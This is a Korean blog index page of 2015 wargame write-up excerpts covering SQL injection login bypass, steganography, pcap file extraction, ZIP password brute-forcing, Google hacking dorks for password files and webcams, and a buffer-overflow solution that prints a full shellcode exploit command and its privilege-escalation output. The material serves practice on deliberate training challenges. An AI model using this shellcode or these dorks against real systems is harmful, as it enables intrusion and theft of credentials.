IT소식/워게임 검색 결과

해당 글 13건

[wargame] 워게임 (Flack) 풀이 - Level 3

SQL Injection 을 통한 인증 우회 세번째 문제 세번째 문제는 1,2번문제와는 다르게, id 가 admin 이다. 우선 간단한 값을 입력해서에러구문을 유도한다. 에러구문을 보여준다 다시 쿼리문을 예상해본후 injection 시도 해본다 admin 으로 로그인 해야되기 때문에..# 뒤로는 쿼리문 무시 인증을 우회하여 admin계정으로 로그인에 성공하였다.
IT소식/워게임 2015. 8. 12. 22:56

[wargame] HackMe.org - 8번 문제

Hack-me.org 의 8번째 문제 Lv.8 의 주제는 Breathe like computer"컴퓨터처럼 생각하기" 이번문제의 힌트는Base64 + 어떤것의 조합 이다. 우선 페이지 에 암호화 된 값들이 쭉 나열되어있다전부 복사한 후 Base64 디코딩을 10번?정도 계속해서 하다보면 아래와 같이 복호화가 완성되면서 평문과 새로운 암호문이 나온다. Base64 디코딩은 여기에서 함http://www.hipenpal.com/tool/base64_encode_and_decode_in_korean.php 진짜 복호화는 이제 시작이다 사실 여기서 많이 난감했다 아래 이미지는 Notepad에 나름 암호문을 분석해서 복호화 해본것이다 암호문 값을 전부 10진수로 변경한 후 다시 ASCII 를 통해 Key값을 얻을..
IT소식/워게임 2015. 8. 12. 22:31

[wargame] HackMe.org - 7번 문제

Hack-me.org 의 7번째 문제 Lv.7 의 주제는 All Roads Lead to Rome"모든 길은 로마로 통한다" 로마 숫자들이 나열되어있다 구글링을 통해 로마숫자 표기법을 발견 하나하나 전부 메모장에 적어가며 변환해보았다. 변환 후 나온 ASCII 값을 분석해보면 아래와같이 패스워드가 나온다 이번문제는 뭐 그냥 노가다인듯 .. 혹시 더 쉽게 풀 수 있는 방법이 있을지도
IT소식/워게임 2015. 8. 11. 10:14

[wargame] HackMe.org - 5번 문제

Hack-me.org 의 5번째 문제 Lv.5 의 주제는 ZIP Password Recovery ZIP 파일 패스워드 찾기 친절하게 힌트를 3개씩이나 알려주고있다.-힌트-1. 패스워드 길이 42. 특수문자 포함.3. ZIP방식 : AES256 해당파일을 다운로드 받아서 열어보면 역시나 . 패스워드가 걸려있다. 평소 Zip 크랙 툴을 가지고 있던터라 "Archpr" 라는 zip 패스워드 크랙 툴 을 사용하였다. ※해당프로그램은 공식홈페이지 (https://www.elcomsoft.com/azpr.html)에서 다운로드 가능 크랙툴을 이용하여 해당 Zip 파일로 브루트 포싱을 하고있는 모습이다. 툴을 돌려놓고 기다린다 브루트포싱 으로 크랙 돌려놓고 9분 45초 경과 후 ZIP 패스워드를 크랙하는데 성공했다...
IT소식/워게임 2015. 8. 11. 09:39

[wargame] HackMe.org - 4번 문제

Hack-me.org 의 4번째 문제 Lv.4 의 주제는 Extract file from pcap .PCAP 으로 부터 파일 추출하기 우선 이번문제는 패킷을 분석해서 파일을 추출하는것이다일단 다운로드 받은 파일은 확장자가 없다. 해당파일을 Hex Editor 로 열어보니 PE Header 가 PCAP 파일이다. 해당파일의 확장자를 .pcap 으로 변경해준다 해당 패킷에서 웹에 관한 파일을 추출하려면와이어샤크에 위에 경로로 들어가면된다.(File - Export Objects - HTTP) 그럼 아래와같은 화면이 보인다. 파일을 추출한후 Hex Editor 로 열어보니 PE Header값이 ELF 로 되어있다. 여기서 ELF는 Executable and Linkable Format 의 약자로 실행 및 링크..
IT소식/워게임 2015. 8. 9. 22:25

[wargame] HackMe.org - 3번 문제

Hack-me.org 의 세번째 문제 Lv.3 의 주제는 WWW Login Test .세번째 문제는 ... ?????????? 3번 문제를 푼사람이 1,2번 문제에 비해 적다. 이번 문제는 웹서버가 필요해서 백트랙으로 문제를 풀어보았다. 보다시피 POST 요청을 받으면 Key값 을 얻을수 있다고 한다. 우선 백트랙으로 POST값을 받으려면 포트포워딩을 해줘야했다. 이렇게 포트포워딩 설정을 해준후 백트랙 에서 POST값을 요청 해봤는데, 페이지에 Oh, I can't connect to you are host correctly :( 라는 문구만 떠서..... 고민하다가 와이어샤크를 이용해 패킷을 잡아보았더니 .... POST값을 잘 받았다 패킷에서 암호인증에 필요한 Key값을 찾을수 있었다 3번문제를 푼사..
IT소식/워게임 2015. 8. 8. 14:50

[wargame] HackMe.org - 2번 문제

Hack-me.org 의 두번째 문제 Lv.2 의 주제는 Easy Steganography .쉬운 스테가노그래피 ..스테가노그래피와 관련된 문제인듯 Description : 이 문제는 제가 처음으로 만들어본 스테가노그라피 문제입니다.재밌게 즐기셨으면 좋겠습니다 :)너무 쉬워서 지겨우실지도?어쩄든, 행운을 빕니다!힌트 : 패스워드의 길이는 = 30 문제의 힌트와, 이미지 파일이 보인다. 해당 이미지파일을 다운받은후Hex Editor 로 열어보았다. 파일 확장자가 php 로 되어있는데PE Header 부분은 PNG 로 되어있다 파일을 열어보면 드래그 한 부분이 뭔가 수상하다 참, 이 문제의 힌트인 패스워드 길이가 30 인점을 고려해위 부분이 2번문제 Key 임을 예상하여 2번문제도 간단하게 Clear
IT소식/워게임 2015. 8. 8. 14:30

[wargame] HackMe.org - 1번 문제

이번에 소개할 워게임 사이트는 아주 유명한 Hack-me 사이트 이다. 이곳은 암호학, 스테가노그래피, 웹, 네트워크, 리버싱, 포렌식 등아주 다양한 분야를 다루고있다. http://hack-me.org/index.php Hack-me.org 의 첫번째 문제 우선 제일처음 문제부터 풀어보겠다. Lv.1 의 주제는 View Sourcecode 말그대로 소스보기 가 주제다. 보다시피 1번문제는 아주아주 간단하고 너무 쉬워서 어이가 없을 정도다.그럼 해당 페이지의 소스를 한번 살펴보자 ??..이렇게.. 페이지 소스에 패스워드가 노출되어있다. 1분? 아니 30초 도 안되서 1번문제 Clear ~
IT소식/워게임 2015. 8. 8. 14:15

워게임 (Flack) 풀이 - Level 1

이번에 소개할 워게임 사이트는 꾀 오래된 Flack 사이트 이다. Flack 워게임은 Mysql 기반의 SQL Injection 에 관련된 문제들로 구성되어있다. http://flack.hkpco.kr/index.php 우선 Flack 사이트에 접속하게 되면 이렇게 깔끔한 디자인의 웹사이트를 볼수있다. 여기서 보이는 "Login bypass" 는 "Sql Injection" 문제를 난이도 별로 구분되어있다. 우선 처음으로 Level 1 문제를 풀어보자간단한 폼의 로그인창이 보인다. ID 부분에는 a'b PW 부분에는 c'd 위와같이 입력후 sql 의 에러구문을 유도 하니, 다음과 같은 에러를 출력 했다The americans launched their rockets. Today we will all di..
IT소식/워게임 2015. 7. 27. 21:18

Google Hacking . GHDB

GHDB (Google Hacking Database)구글 해킹 데이터베이스의 약자.구글 검색엔진을 활용하여 필요한 정보를 비교적 쉽게 얻어 낼 수 있는 방법이다. – FTP PASSWORLD GOOGLE DORK XSS GOOGLE DORK PHP GOOGLE DORK SQL DORK WORLD PRESS DORK PASSWORLD FILE DORK MİCS DORK FREE SWAG DORK WEBCAM DORK ※ GHDB 목록목 록설 명Advisories and Vulnerabilities(215 entries)이 검색은 취약한 서버를 찾는다. 여러 가지 보안권고 게시물을 검색한다.Error Messages(68 entries)다양한 에러 메시지를 검출 한다.Files containing juic..
IT소식/워게임 2015. 7. 21. 23:33

BoF 문제 풀이 (출처 - Hyun june Park님)

Level 1. 문제풀기 단순 BoF 문제. 소스코드를 보면 strcpy 함수를 통해 256바이트를 buffer[256] 에 단순히 복사하는 코드임 소스코드 생략 ./gremlin $(python -c 'print "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*36 + "\x58\xf9\xff\xbf"') 결과 uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate)bash$ my-passeuid = 501 hello bof world Level 2...
IT소식/워게임 2015. 7. 21. 14:37